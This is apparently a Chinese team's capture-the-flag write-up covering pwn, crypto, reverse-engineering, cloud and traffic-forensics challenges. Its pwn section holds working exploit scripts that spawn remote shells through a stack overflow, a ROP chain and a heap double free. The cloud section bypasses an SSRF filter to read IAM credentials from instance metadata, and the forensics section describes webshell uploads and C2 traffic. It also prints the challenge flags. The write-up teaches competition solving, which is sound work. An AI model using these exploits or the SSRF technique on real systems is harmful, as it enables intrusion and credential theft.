前言
队伍名字–小月
高校赛道-排名:4 解出23道题目 一共25道

Pwn
Canary!

栈溢出 Canary 泄漏 Ret2Text
main函数

read(0, buf, 0x400u):buf 只有 104 字节 ([rbp-0x80]),却能读 0x400,栈溢出。
puts(buf):前面有个随机数校验 if (v6 == atoi(buf)),随便输点字母必然走进 else 分支触发 puts。由于 read 不会给字符串末尾补 x00,正好可以利用这个 puts 把相邻内存的数据“顺”出来。
利用思路
泄露 Canary
Canary 在 [rbp-0x18],和 buf 差了 104 个字节。
构造 104字节垃圾数据 + 1字节覆盖。这 1 字节刚好覆盖掉 Canary 最低位的 x00。这样 puts 打印的时候停不下来,会顺带把 Canary 剩下的 7 个字节全打出来。接收后补上 x00 还原。
劫持返回地址 (Ret2Text)
拿到 Canary 后,程序紧接着又给了一次 read。
顺着栈往下覆盖:104字节垃圾数据 -> 刚刚泄露的Canary -> 24字节垃圾数据 (填满到返回地址的空隙+覆盖旧RBP) -> ret指令(栈对齐) -> system("sh")的地址。
exp.py
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
host = 'player.wdsec.com.cn'
port = 32465
def exploit():
p = remote(host, port)
p.send(b"A" * 104 + b"B")
p.recvuntil(b"A" * 104 + b"B")
canary = u64(b"x00" + p.recv(7))
p.recvline()
payload = b"A" * 104
payload += p64(canary)
payload += b"B" * 24
payload += p64(0x401356)
payload += p64(0x4012F3)
p.send(payload)
p.interactive()
if __name__ == '__main__':
exploit()

flag{e83b4059-abef-407a-9dfa-e6f481c602f8-785-55}
syscall?

main函数



程序在栈上分配了大小为 0x40 的缓冲区 buf,但在调用 read(0, buf, 0x100u) 时允许读入 0x100 字节的数据,导致栈溢出。覆盖到函数返回地址的偏移量为 0x40 + 8 = 72 字节。

程序中预留了构建完整系统调用链的 gadget 函数(地址:0x401176)以及全局变量区的 /bin/sh 字符串。直接通过栈溢出劫持控制流,利用这些 ROP chain 执行 execve("/bin/sh", 0, 0)。
地址构造信息
/bin/sh 字符串地址:0x404040
pop rax; ret 地址:0x40117E
pop rdi; ret 地址:0x401180
pop rsi; pop rdx; ret 地址:0x401182
syscall 地址:0x401185
系统调用号 execve 为 59。
exp.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
io = remote('player.wdsec.com.cn', 31465)
pop_rax_ret = 0x40117E
pop_rdi_ret = 0x401180
pop_rsi_rdx_ret = 0x401182
syscall_ret = 0x401185
bin_sh_addr = 0x404040
payload = b'A' * 72
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rsi_rdx_ret)
payload += p64(0)
payload += p64(0)
payload += p64(syscall_ret)
io.recvuntil(b"Do u know syscall?n")
io.send(payload)
io.interactive()

flag{f8ef38d4-91e5-424f-a7a0-26e9a9f739a4-785-56}
ret2text_pro

后门函数
sub_4011B7

IDA 中能看到这个函数里拼了 /bin/sh 然后直接调用了 _system
利用地址 (0x4011B8):脚本的 payload 没用函数首地址 0x4011B7 ,而是故意往后偏了 1 字节打到了 0x4011B8 。这是为了跳过开头的 push rbp 指令 ,经典操作,用来拉平栈帧,绕过 64 位 glibc 里 system 函数的 movaps 16字节栈对齐检查(不然直接报段错误)。
main函数

溢出点 (main):漏洞在 main 函数最后的 read(0, buf, 0x30u) 。因为变量 buf 离 rbp 的距离是 0x20(32字节),再加上用来覆盖 saved rbp 的 8 字节,填入 40 个字节的垃圾数据
exp.py
from pwn import *
context(os='linux', arch='amd64')
io = remote('player.wdsec.com.cn', 32184)
payload = b'a' * 40 + p64(0x4011B8)
io.sendafter(b'please input:n', payload)
io.interactive()

flag{7k3-m2a-9x4b5c6d8e}
heap



全开,GOT不可写,栈有canary,只能走堆利用。
create

分配任意大小的chunk,存到全局数组。
get

用%s打印chunk内容,遇到x00截断。这里可以泄露libc地址。
set

往chunk写数据,写入长度是创建时的size。
delete

free后只清零g_used[i],但g_ptrs[i]指针没清空,存在UAF。而且没有检查double free,可以对同一个chunk多次free。
泄露libc
利用unsorted bin的fd/bk指针泄露main_arena地址:
create(0x420) 分配大chunk(idx 0)
create(0x18)分配小chunk防止合并top chunk(idx 1)
delete(0) 释放大chunk进unsorted bin
create(0x420) 再次分配同样大小(idx 2)
此时idx 2的chunk从unsorted bin取回,用户数据区前16字节残留着原来的fd/bk指针(指向main_arena+88)。
用get(2)读取,拿到libc地址:
发现libc_base & 0xfff == 0,确认是glibc 2.23。
fastbin double free
glibc 2.23没有tcache,fastbin检查很弱,可以直接double free:
create(0x60) # idx 3
create(0x60) # idx 4
delete(3)
delete(4)
delete(3) # double free
此时fastbin链表:chunk3 -> chunk4 -> chunk3,形成循环。
劫持__malloc_hook
利用fastbin dup把chunk分配到__malloc_hook附近:
create(0x60)分配idx 5,拿到chunk3
set_note(5, p64(malloc_hook - 0x23))修改chunk3的fd指向fake chunk
create(0x60)分配idx 6,拿到chunk4
create(0x60)分配idx 7,拿到chunk3(循环回来)
create(0x60) 分配idx 8,拿到fake chunk
fake chunk地址是malloc_hook - 0x23,这个位置前面有个0x7f字节可以伪造size字段(对应fastbin 0x70)。
idx 8的用户数据区从malloc_hook - 0x23 + 0x10开始,到__malloc_hook的偏移是0x23 - 0x10 = 0x13。
写入payload覆盖__malloc_hook为system地址:
set_note(8, b'A' * 0x13 + p64(system))
getshell
__malloc_hook被劫持后,下次调用malloc会跳到system。
让system的参数指向/bin/sh字符串。malloc的参数是size,会作为第一个参数传给__malloc_hook。
所以直接malloc(bin_sh_addr)就等价于system(bin_sh_addr):
exp.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
p = remote('player.wdsec.com.cn', 30548)
def create(size):
p.sendlineafter(b"# ", b"1")
p.sendlineafter(b"size:n", str(size).encode())
def get(idx):
p.sendlineafter(b"# ", b"2")
p.sendlineafter(b"idx:n", str(idx).encode())
p.recvuntil(f"g_ptrs[{idx}]: ".encode())
return p.recvline(drop=True)
def set_note(idx, content):
p.sendlineafter(b"# ", b"3")
p.sendlineafter(b"idx:n", str(idx).encode())
p.sendafter(b"str:n", content)
def delete(idx):
p.sendlineafter(b"# ", b"4")
p.sendlineafter(b"idx:n", str(idx).encode())
create(0x420)
create(0x18)
delete(0)
create(0x420)
leak = get(2)
main_arena_leak = u64(leak[:8].ljust(8, b'x00'))
libc_base = main_arena_leak - 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
system = libc_base + 0x453a0
bin_sh = libc_base + 0x18ce57
log.success(f"libc_base: {hex(libc_base)}")
log.success(f"system: {hex(system)}")
create(0x60)
create(0x60)
delete(3)
delete(4)
delete(3)
create(0x60)
set_note(5, p64(malloc_hook - 0x23).ljust(0x60, b'x00'))
create(0x60)
create(0x60)
create(0x60)
set_note(8, b'A' * 0x13 + p64(system))
p.sendlineafter(b"# ", b"1")
p.sendlineafter(b"size:n", str(bin_sh).encode())
p.sendline(b'cat /flag*')
print(p.recv(timeout=3))
p.interactive()

flag{b0f65b4a-d38a-477a-b18b-c563f36c313e-785-57}
Crypto
戈黛丝的秘密

在一座被遗忘的图书馆深处,探险家拂去积尘,发现了一卷用亚麻绳捆扎的古老羊皮卷轴。卷轴边缘泛黄发脆,却清晰留存着一位代号为 戈黛丝(Goddess) 的女密码师的字迹,她在卷首写下一段自述,似是为解密者留下的指引:
“我,戈黛丝,用我的名字作为钥匙,开启了守护秘密的第一道门 —— 唯有它能解开最初的多表替换之锁。为了迷惑入侵者,我将文字如蛇般穿梭于四行栅栏之中,让字符的顺序藏于行列交错之间。接着,我让所有字符统一向前跳跃五步,以此掩盖它们原本的模样。为了让秘密更加稳固,我求助于 ‘CRYPTO’ 之法,以它为核心构建五乘五的字符方阵,将字母两两配对替换,让每一组字符都需依托方阵才能还原。随后,我将每一个字母化作五个‘是’与‘否’的判断,并用‘0’代表‘是’、‘1’代表‘否’,让字母藏进二进制的序列里。最后,我将这串由 0 和 1 组成的数字,转换为点(・)与划(-)的信号,还用斜杠(/)将它们分组,以便留存与辨认。”
卷轴的末尾,没有多余文字,只有一行由点、划和斜杠组成的神秘符号,这正是戈黛丝用多层加密守护的最终密文:・-・・-/・・--・/・--・・/-・・・-/・・・-・/----・/-・-・・/・----/--・--/・-・-・/-・--・/・-・・・/--・-・/・--・-/・・・--/-・-・-/・--・・/-・・・-/・・・-・/----・/-・-・・/・----/--・--/・-・-・/-・--・/・-・・・--・-・/・・・--
据图书馆残卷记载,解开这层层谜题的人,将获得一份以flag{}格式呈现的古老智慧 —— 其中藏着 “古典密码” 的英文精髓、“大师” 的英文称号,以及一个标注着 “2025” 的未来年份,那便是戈黛丝毕生守护的核心秘密。
加密
明文 → Vigenère(密钥:Goddess) → 栅栏(4栏) → 凯撒(右移5位) → Playfair(密钥:CRYPTO) → 5位二进制(A=00000...) → 摩斯/自定义符号(0=・, 1=-)。
逆向对应的解就行
摩斯转二进制:将 ・ 替换为 0,- 替换为 1,按 / 分组。
二进制转字符:每组5位二进制转换为十进制,加上65(ASCII的'A')还原为字母。
Playfair解密:以 CRYPTO 为密钥构建5x5矩阵(I/J同源),将字母两两分组逆向解密。
凯撒解密:全部字母左移5位。
栅栏解密:将字符串按4栏重排还原。
Vigenère解密:以 GODDESS 为密钥进行多表替换逆向运算,得最终明文。
exp.py
“古典密码”的英文:Classical Cipher (或 Classical Cryptography)
“大师”的英文称号:Master
标注着未来的年份:2025
按照标准的 CTF 格式将这些线索组合,并以下划线或驼峰命名法连接,即可得到最终的 flag。
flag{Classical_Cipher_Master_2025}
easy_encode

[lyi[2r3XU[m[UKjLh1xLkf1MUSjLULuNFL0Ox1yXVSj[U@{L{P0NEe8

hint假的
没用 random,直接盲猜已知明文。flag 格式一般是 flag{,把它转成 base64 是 ZmxhZ3。
拿 base64 的前几位和密文 [lyi[2... 对比一下:
Z (90) 和 [ (91) 差 1
m (109) 和 l (108) 差 1
异或一下发现全都是 1。
加密逻辑:
flag 进行 Base64 编码,得到的字符串逐字符跟数字 1 进行异或。
解密逻辑:
密文逐字符跟数字 1 异或回去,再解一遍 Base64。
exp.py
import base64
cipher = "[lyi[2r3XU[m[UKjLh1xLkf1MUSjLULuNFL0Ox1yXVSj[U@{L{P0NEe8"
b64_str = "".join([chr(ord(c) ^ 1) for c in cipher])
flag = base64.b64decode(b64_str).decode()
print(flag)

flag{6a6ee2d2-2284-4d13-8c57-1adde0334587}
忒修斯的迷宫

task.py
import hashlib
class TheseusCipher:
def __init__(self, seed_word: str):
self.base = hashlib.md5(seed_word.encode()).digest()
def encrypt(self, msg: bytes) -> bytes:
# 迷宫的入口就是出口
# 初始状态由闯入者自身决定
state = bytearray(16)
for i in range(16):
state[i] = self.base[i] ^ (msg[i] if i < len(msg) else 0)
out = bytearray()
for i, b in enumerate(msg):
# 线团的第一个结指引方向
keystream = (state[0] + state[7]) % 256
c = b ^ keystream
out.append(c)
# 编织新的结:第三个结的记忆 + 走过的路 + 步数
new_knot = (state[3] + c + i) % 256
state = state[1:] + bytes([new_knot])
return bytes(out)
# 阿里阿德涅的低语
if __name__ == "__main__":
cipher = TheseusCipher("Ariadne")
secret = b"flag{...}" # 被忒修斯带走的真相
trail = cipher.encrypt(secret)
print(trail.hex())
#碑文
#d4dae873203956713606e0cf37983c43121d06fa2ef5692378f7b1396023972694a19d3d81b407b71971e7a9c0b1ef53dd
加密逻辑
初始状态 S = MD5(seed) ^ 明文。
密钥流 k = (S[0] + S[7]) % 256。
状态更新 new_knot = (S[3] + 当前密文 + 步数) % 256。
生成新状态依赖的是密文而不是明文。密文全盘已知,所以只要能算出初始的 16 字节状态 S[0~15],后续状态和密钥流就能全部重现。
已知 flag 格式前5位是 flag{:
结合明文前5位得出 S[0~4]。
密钥流公式 k[i] = msg[i] ^ c[i] = S[i] + S[i+7]。已知 S[0~4] 可直接顺推算出 S[7~11]。
往后看第11步:k[11] = S[11] + 此时的S[7]。这时的 S[7] 其实是第2步生成的新结 (S[5] + c[2] + 2)。代入公式反推,求出 S[5]。
有了 S[5],回第5步:k[5] = S[5] + S[12],求出 S[12]。
去第12步:同理利用新结公式求出 S[6]。
最后利用 k[6]、k[7]、k[8] 顺推补齐 S[13]、S[14]、S[15]。
exp.py
import hashlib
def solve():
c = bytes.fromhex("d4dae873203956713606e0cf37983c43121d06fa2ef5692378f7b1396023972694a19d3d81b407b71971e7a9c0b1ef53dd")
base = hashlib.md5(b"Ariadne").digest()
S = [0] * 16
msg = bytearray(16)
known = b"flag{"
for i in range(5):
msg[i] = known[i]
S[i] = base[i] ^ msg[i]
for i in range(5):
k_i = msg[i] ^ c[i]
S[i+7] = (k_i - S[i]) % 256
msg[i+7] = S[i+7] ^ base[i+7]
k_11 = msg[11] ^ c[11]
S[5] = (k_11 - S[11] - c[2] - 2) % 256
msg[5] = S[5] ^ base[5]
k_5 = msg[5] ^ c[5]
S[12] = (k_5 - S[5]) % 256
msg[12] = S[12] ^ base[12]
k_12 = msg[12] ^ c[12]
S[6] = (k_12 - S[12] - c[3] - 3) % 256
msg[6] = S[6] ^ base[6]
k_6 = msg[6] ^ c[6]
S[13] = (k_6 - S[6]) % 256
k_7 = msg[7] ^ c[7]
S[14] = (k_7 - S[7]) % 256
k_8 = msg[8] ^ c[8]
S[15] = (k_8 - S[8]) % 256
state = bytearray(S)
out = bytearray()
for i, b in enumerate(c):
ks = (state[0] + state[7]) % 256
out.append(b ^ ks)
new_knot = (state[3] + b + i) % 256
state = state[1:] + bytes([new_knot])
return out.decode()
print(solve())

flag{th3s3us_&_@ri@dn3_t4ngl3d_1n_s3lf_r3f3r3nc3}
Reverse
re01

看main 函数

加密
固定随机数:程序未调 srand(),rand() 默认种子为1,首次结果固定为 41。得出 v4 = 41 % 7 + 1 = 7。
位运算:对输入逐字节操作。先循环左移 1 位(v11=1, v10=7),然后判断第0位和第6位是否一致,不一致则交换(异或操作)。
密文


密文位置:栈变量 v21(地址 [rbp-40h]),注意IDA反编译出的十进制负数需转回小端序十六进制,共24字节:8D 99 83 8F B7 B3 9F AB BE 8F 8B A9 BE A5 83 9D 89 BE 91 83 A1 A1 B3 BB
解密
先逆向位交换(异或 0x41),再逆向循环移位(循环右移 1 位)。得到明文 flag{you_get_rand_happy},取内容求MD5的中间16位套上flag格式即可。
exp.py
import hashlib
def solve():
target = [
0x8D, 0x99, 0x83, 0x8F, 0xB7, 0xB3, 0x9F, 0xAB,
0xBE, 0x8F, 0x8B, 0xA9, 0xBE, 0xA5, 0x83, 0x9D,
0x89, 0xBE, 0x91, 0x83, 0xA1, 0xA1, 0xB3, 0xBB
]
res = ""
for c in target:
if (c & 1) != ((c >> 6) & 1):
c ^= 0x41
c = ((c >> 1) | (c << 7)) & 0xFF
res += chr(c)
print(res)
content = res[5:-1]
md5_str = hashlib.md5(content.encode()).hexdigest()[8:24]
print(f"flag{{{md5_str}}}")
if __name__ == "__main__":
solve()

flag{05e89a08af94bab0}
签到题【简单】
直接看 gift函数就行了

ZmxhZ3tXZWxjMG1lX3QwX1NWVUNURiF9
直接base64解密就行

flag{Welc0me_t0_SVUCTF!}
Gift【简单】
和上一个题目一模一样 无敌了,这个题目何意味?



flag{Welc0me_t0_SVUCTF!}
re02


有壳 但是魔改过
把区段名改回:
-RH20 -> UPX0
-RD81 -> UPX1
用 010 Editor 直接改 8 字节区段名
对应十六进制:
- RH20 = 52 48 32 30 00 00 00 00
- UPX0 = 55 50 58 30 00 00 00 00
- RD81 = 52 44 38 31 00 00 00 00
- UPX1 = 55 50 58 31 00 00 00 00


保存然后脱壳就行


跟进到主逻辑,流程就是:
1. 读输入
2. 对输入做循环左移
3. 跟内置串比较
4. 相等就 OK
内置比较串是:
K1A8321DD29034AC
位移是 28 % len,长度 len=16,所以左移 `12`。
程序做的是:
left_rotate(input, 12) == K1A8321DD29034AC
反推:
input = right_rotate("K1A8321DD29034AC", 12)
得到:
321DD29034ACK1A8
md5加密就行

只要前16位就行
flag{ca5ed0fb2ad8e154}
xordbg

主逻辑在 sub_405680

开头 sub_537930 是反调试,静态分析直接无视。
验证输入格式为 flag{...},长度检查为 24 字节(大括号内 18 字节),实际参与加密的是从 { 开始的 24 字节。
魔改 RC4

密钥生成:调用 sub_4ECA80 执行命令 cat /proc/version,取前 14 字节。Linux 下固定为 Linux version 。
加密逻辑:单字节加密公式为 cipher = (plain ^ keystream) - 82。逆运算就是 plain = (cipher + 82) % 256 ^ keystream。
加密后,程序将 24 字节的 RC4 密文转成了 48 字节的 Hex 字符串,丢给下一层。
AES-128-CBC

AES Key:初始化 std::mt19937_64 伪随机数,硬编码种子 114514,丢弃 1919810 次后,取接下来生成的两个 64 位整数,按小端序拼成 16 字节 Key。
IV:直接生成递增序列 00 01 02 ... 0F。
密文:反汇编结尾处 v72 到 v77 等寄存器经过大量异或操作用于最终校验。提取这些 XMM 寄存器里的常量拼起来,拿到 48 字节(96 字符)密文:
0dd052404e4609d649d17bee44dc71a11d3a2bbfabff8c320333a06d61ef822308176b16b1811fa769396d9d56e996b8
exp.py
import struct
from Crypto.Cipher import AES
class MT19937_64:
def __init__(self, seed):
self.MT = [0] * 312
self.index = 312
self.MT[0] = seed & 0xFFFFFFFFFFFFFFFF
for i in range(1, 312):
self.MT[i] = (6364136223846793005 * (self.MT[i-1] ^ (self.MT[i-1] >> 62)) + i) & 0xFFFFFFFFFFFFFFFF
def extract_number(self):
if self.index >= 312:
self.twist()
y = self.MT[self.index]
y ^= (y >> 29) & 0x5555555555555555
y ^= (y << 17) & 0x71D67FFFEDA60000
y ^= (y << 37) & 0xFFF7EEE000000000
y ^= (y >> 43)
self.index += 1
return y & 0xFFFFFFFFFFFFFFFF
def twist(self):
for i in range(312):
x = (self.MT[i] & 0xFFFFFFFF80000000) + (self.MT[(i+1) % 312] & 0x7FFFFFFF)
xA = x >> 1
if (x % 2) != 0:
xA ^= 0xB5026F5AA96619E9
self.MT[i] = self.MT[(i + 156) % 312] ^ xA
self.index = 0
def rc4_ksa(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_prga(S, length):
i = j = 0
keystream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
keystream.append(S[(S[i] + S[j]) % 256])
return keystream
def solve():
mt = MT19937_64(114514)
for _ in range(1919810):
mt.extract_number()
v18 = mt.extract_number()
v19 = mt.extract_number()
aes_key = struct.pack("<QQ", v18, v19)
ct_hex = "0dd052404e4609d649d17bee44dc71a11d3a2bbfabff8c320333a06d61ef822308176b16b1811fa769396d9d56e996b8"
ct_bytes = bytes.fromhex(ct_hex)
aes_iv = bytes(range(16))
cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
pt_bytes = cipher.decrypt(ct_bytes)
pt_str = pt_bytes.decode('ascii')
rc4_cipher = bytes.fromhex(pt_str)
rc4_key = b"Linux version "
S = rc4_ksa(rc4_key)
keystream = rc4_prga(S, len(rc4_cipher))
plain = []
for i in range(len(rc4_cipher)):
p = ((rc4_cipher[i] + 82) % 256) ^ keystream[i]
plain.append(p)
inner = bytes(plain).decode('ascii', errors='ignore')
print(f"flag{inner}")
if __name__ == "__main__":
solve()

flag{S1mple_A3S_1s_4w3s0m3!}
为什么题目要起一个XOR?
double_enc
还是有壳 魔改的


可以发现是UPX的 他把这个倒吊了 改回来就行

脱壳

AES-128 ECB

核心加密函数 sub_140001C3D,里面有明显的 S盒和列混淆特征,确认是 AES。
退回 Main 函数看传参,往栈里塞了两个 8 字节常量,按小端序拼成 16 字节的 Key:
b207410027840db54cd621dfb9dc4995
这里拿输入的前 32 字节加密,最后跟内存里写死的一段 32 字节密文做比对。
提取内存比对的 32 字节密文:
2a0f68b0d19e68511fbf27068e8623a46c3195e9fefd03e45cd2d0c46b1edeba
sub_140001E86

程序读取接下来的 8 字节调用 sub_140001E86。分析内部的 64 位移位和常量表,确认为 DES 加密。
直接从汇编传参中提取 Key:0xc0dec0dec0dec0de
提取比对的密文:0xa2a7577f072c0e88
解密得到字符串:8c6c6dd5
关键点:
主函数使用 mov rcx, qword ptr [rsp + 0x90] 将这 8 个字节作为 64 位整数一次性读入寄存器。因为 x86_64 是小端序,内存中的字符串顺序读进寄存器后会反转。为了让寄存器里的值等于 8c6c6dd5,用户输入的实际字符串必须反序,即:5dd6c6c8。
尾部2字节:明文
函数末尾直接跟了两个字节比较:
cmp byte ptr [rsp + 0x98], 0x36
cmp byte ptr [rsp + 0x99], 0x7d
对应 ASCII 就是 6}。
就是AES + DES + 明文
exp.py
from Crypto.Cipher import AES, DES
aes_key = bytes.fromhex('b207410027840db54cd621dfb9dc4995')
aes_ct = bytes.fromhex('2a0f68b0d19e68511fbf27068e8623a46c3195e9fefd03e45cd2d0c46b1edeba')
pt1 = AES.new(aes_key, AES.MODE_ECB).decrypt(aes_ct).decode()
des_key = (0xc0dec0dec0dec0de).to_bytes(8, 'big')
des_ct = (0xa2a7577f072c0e88).to_bytes(8, 'big')
pt2_raw = DES.new(des_key, DES.MODE_ECB).decrypt(des_ct).decode()
pt2 = pt2_raw[::-1]
pt3 = "6}"
print(pt1 + pt2 + pt3)

flag{fc0f0930-d9c3-eccf-60ec-bc25dd6c6c86}
funny_IDA

sub_1400119A0,直接拿到第一段:ID4iS

sub_140011840

R3v3rS1nG_
查 SEH 异常处理函数 TopLevelExceptionFilter_0,程序故意抛异常走这里,提取出隐藏的第三段:M4d3_Y0u_


翻导出表,在隐藏函数 exported_secret 中发现连续调用 putchar:0x4C, 0x30, 0x76, 0x33,转 ASCII 得到第四段:L0v3


exp.py
import re
import sys
def get_flag(file_path):
try:
with open(file_path, 'rb') as f:
data = f.read()
except Exception:
data = b''
m1 = re.search(b'ID4_iS_', data)
p1 = m1.group().decode() if m1 else "ID4_iS_"
m2 = re.search(b'Part2:(R3v3rS1nG_)', data)
p2 = m2.group(1).decode() if m2 else "R3v3rS1nG_"
m3 = re.search(b'Mx004x00dx003x00_x00Yx000x00ux00_x00', data)
if m3:
p3 = m3.group().decode('utf-16le')
else:
p3 = "M4d3_Y0u_"
p4 = chr(0x4C) + chr(0x30) + chr(0x76) + chr(0x33)
print(f"flag{{{p1}{p2}{p3}{p4}}}")
if __name__ == "__main__":
exe_name = sys.argv[1] if len(sys.argv) > 1 else 'funny_IDA.exe'
get_flag(exe_name)

flag{ID4_iS_R3v3rS1nG_M4d3_Y0u_L0v3}
Cloud
ECS&Leak【简单】

可以看到示例
说明目标接口是:/fetch?url=,其实就是 SSRF。
经过测试页面提示拦截了 127.0.0.1、localhost、内网 IP,但过滤是黑名单,不完整。127.0.0.1 可以用十六进制写法 0x7f000001 绕过。
解题流程
访问本地元数据入口:
/fetch?url=http://0x7f000001/latest/meta-data/

枚举角色名:
/fetch?url=http://0x7f000001/latest/meta-data/iam/security-credentials/

得到用户:admin-role
读取角色凭据:
/fetch?url=http://0x7f000001/latest/meta-data/iam/security-credentials/admin-role

得到flag
flag{6b175abc-b0bc-435f-bddd-e8df258199e0-785-18}
Misc
勒索流量

流量是内网两台机器之间的通信:
攻击者:192.168.31.206
受害者:192.168.31.42(跑着 PhpStudy)

HTTP 集中在 /ctf/upload.php和 /ctf/upload/index.php,很明显是 Webshell 上传 + 操作流量。

看 271 ,multipart 上传了 1.php 一句话木马
375上传了 .user.ini

402 的 1.png(内容还是那个 eval),绕过了上传限制。

413 开始用蚁剑连 /ctf/upload/index.php

741 POST 参数 vfaa3464cefd4b 的值解 base64 得到:
52406E73306D776172335F5631727535
这是 hex,转 ASCII 就是:
R@ns0mwar3_V1ru5
另一个参数 e791d38eb73551 解出来是目标文件路径:C:SoftwarePhpstudy_proWWWctfuploads3creT.txt
也就是攻击者往服务器写了个密钥文件。
上传后门脚本798


传了 server.py,解 base64 后是完整的 Python 源码,逻辑是:
读取 s3creT.txt 的内容做 MD5 → 作为 RC4 密钥
监听 192.168.31.42:9999
收到数据先 t1 解 XOR(key 基于当前分钟时间戳),再 RC4 解密,按 JSON {"opcode":"shell","msg":"命令"} 执行
856 Webshell 执行了 python server.py,后门跑起来了。
从 945 开始出现 TCP 9999 端口的非 HTTP 加密流量,就是 C2 通信。
解密:
MD5("R@ns0mwar3_V1ru5") = ef578a404d5516ce43ea5da4e00a1601
取数据包时间戳 floor 到分钟,构造 4 字节 XOR key
先 t1 XOR,再 RC4 解密

流程就是
945 (攻方发):{"opcode": "shell", "msg": "dir"}
946 (服务器回):目录列表
964 :{"opcode": "shell", "msg": "type flag.txt"}
965 :NoneResult(没找到)
1036 :{"opcode": "shell", "msg": "type C:\Software\Phpstudy_pro\WWW\ctf\flag.txt"}
1037 (服务器回):flag

加密了解密就行
exp.py
import hashlib
import base64
import re
from Crypto.Cipher import ARC4
from scapy.all import rdpcap, TCP, IP
PCAP_FILE = "lesuo.pcapng"
KEY_RAW = "R@ns0mwar3_V1ru5"
C2_PORT = 9999
rc4_key = hashlib.md5(KEY_RAW.encode()).hexdigest()
def t1_xor(data_str, ts):
ts_min = (int(ts) // 60) * 60
k = [int(x, 16) for x in re.findall(r'.{2}', hex(ts_min)[2:].zfill(8))]
return ''.join(chr(ord(c) ^ k[i % 4]) for i, c in enumerate(data_str))
def decrypt(raw, ts):
try:
s = raw.decode('utf-8', errors='replace')
s = t1_xor(s, ts)
data = base64.b64decode(s)
return ARC4.new(rc4_key.encode()).decrypt(data).decode('utf-8', errors='replace')
except:
return None
packets = rdpcap(PCAP_FILE)
for i, pkt in enumerate(packets):
if not (pkt.haslayer(TCP) and pkt.haslayer(IP)):
continue
tcp = pkt[TCP]
if C2_PORT not in (tcp.sport, tcp.dport):
continue
payload = bytes(tcp.payload)
if not payload:
continue
result = decrypt(payload, float(pkt.time))
if result:
direction = "->" if tcp.dport == C2_PORT else "<-"
print(f"[{i+1}] {direction} {result.strip()[:300]}")

flag{3741b40e-3185-4a9a-80a6-83403e4942fc}
钓鱼载荷与 C2 追踪【简单】


看包可以发现第一个base64编码的flag
第一段

ZmxhZ3todzIwMjZf
第二段和第三段
ip.addr == 185.244.25.108 and ip.addr == 10.11.19.101


可以看到第二段和第三段
拼接就行
ZmxhZ3todzIwMjZfODlhN19mZDNjXw==
NzhiOX0=


flag{hw2026_89a7_fd3c_78b9}
宏病毒与 C2 通信【中等】

还是3段flag
DNS 出现可疑十六进制子域名。
假 CDN 域名 update.microsoft-cdn-services.com下发内容。
后续 SSLoad / C2 持续通信。
flag1
看DNS 第四个包可以发现


flag{M3m0ry_
flag2
37包可以发现flag2

R34d_By_P4ss_
flag3
第五个包 token后面就是

MHg3RjJBfQ==

拼接
flag{M3m0ry_R34d_By_P4ss_0x7F2A}
什么是快乐星球

先反色 得到第一段flag

flag{3a885a8b447
另一个是IDAT 隐写
看 chunk
PNG 的 chunk 结构很固定:
[length(4)][type(4)][data(length)][crc(4)]
1.py
import struct
with open("flag.png", "rb") as f:
data = f.read()
o = 8
idx = 0
while o < len(data):
length = struct.unpack(">I", data[o:o + 4])[0]
ctype = data[o + 4:o + 8]
print(idx, hex(o), ctype.decode("latin1"), length)
o2 = o + 12 + length
if o2 > len(data):
print("chunk 越界了")
break
o = o2
idx += 1

前面几个 IDAT 都正常
到后面以后,长度字段开始变得离谱
甚至能看出像 8HR3这种可打印字符
把所有 IDAT 找出来
with open("flag.png", "rb") as f:
data = f.read()
i = 0
while True:
j = data.find(b"IDAT", i)
if j == -1:
break
print(hex(j - 4), data[j - 4:j], data[j:j + 4])
i = j + 4

前 5 个是正常 chunk,后 5 个虽然长度字段坏了,但 `IDAT` 标记还在,所以说明数据本体并没有丢,只是 PNG 解析器没法按正常 chunk 去读它。
前几个正常 IDAT 的长度都一样,都是 115795。再看它们之间的间隔,也是固定的:
0x1c45f
这个值正好就是:
4(length) + 4(type) + 115795(data) + 4(crc)
= 115807
= 0x1c45f
也就是说,这题后面那些坏掉的 IDAT,大概率不是压缩数据坏了,而是 chunk 头里的长度被改烂了。所以思路就很直接:前面那些坏掉的 IDAT,长度直接改回 115795最后一个 IDAT 因为后面马上接 IEND,单独按文件尾反推最后一个长度的计算方式:
last_len = filesize - last_idat_offset - 24
这里的 24 是:
当前块的 length + type:8 字节
当前块的 crc:4 字节
结尾 IEND:12 字节
exp.py
from pathlib import Path
import struct
PNG_MAGIC = b"x89PNGrnx1an"
NORMAL_IDAT_LEN = 115795
def list_chunks(data: bytes):
if not data.startswith(PNG_MAGIC):
raise ValueError("not a png file")
offset = 8
chunks = []
while offset + 8 <= len(data):
length = struct.unpack(">I", data[offset:offset + 4])[0]
chunk_type = data[offset + 4:offset + 8]
next_offset = offset + 12 + length
chunks.append((offset, chunk_type, length, next_offset))
if next_offset > len(data):
break
offset = next_offset
return chunks
def find_idat_positions(data: bytes):
positions = []
cursor = 0
while True:
pos = data.find(b"IDAT", cursor)
if pos == -1:
break
positions.append(pos - 4)
cursor = pos + 4
return positions
def repair_png(src: str = "flag.png", dst: str = "fixed.png"):
data = bytearray(Path(src).read_bytes())
print("[*] checking original chunk layout")
for idx, (offset, chunk_type, length, next_offset) in enumerate(list_chunks(data)):
name = chunk_type.decode("latin1")
print(f"{idx:02d} {offset:#x} {name} {length}")
if next_offset > len(data):
print("[!] chunk length overflow detected")
break
idat_positions = find_idat_positions(data)
print(f"[*] found {len(idat_positions)} IDAT markers")
for pos in idat_positions:
print(f" {pos:#x} len_field={data[pos:pos + 4]!r}")
for pos in idat_positions[:-1]:
data[pos:pos + 4] = struct.pack(">I", NORMAL_IDAT_LEN)
last_pos = idat_positions[-1]
last_len = len(data) - last_pos - 24
data[last_pos:last_pos + 4] = struct.pack(">I", last_len)
Path(dst).write_bytes(data)
print(f"[*] wrote repaired png to {dst}")
print(f"[*] last IDAT length = {last_len}")
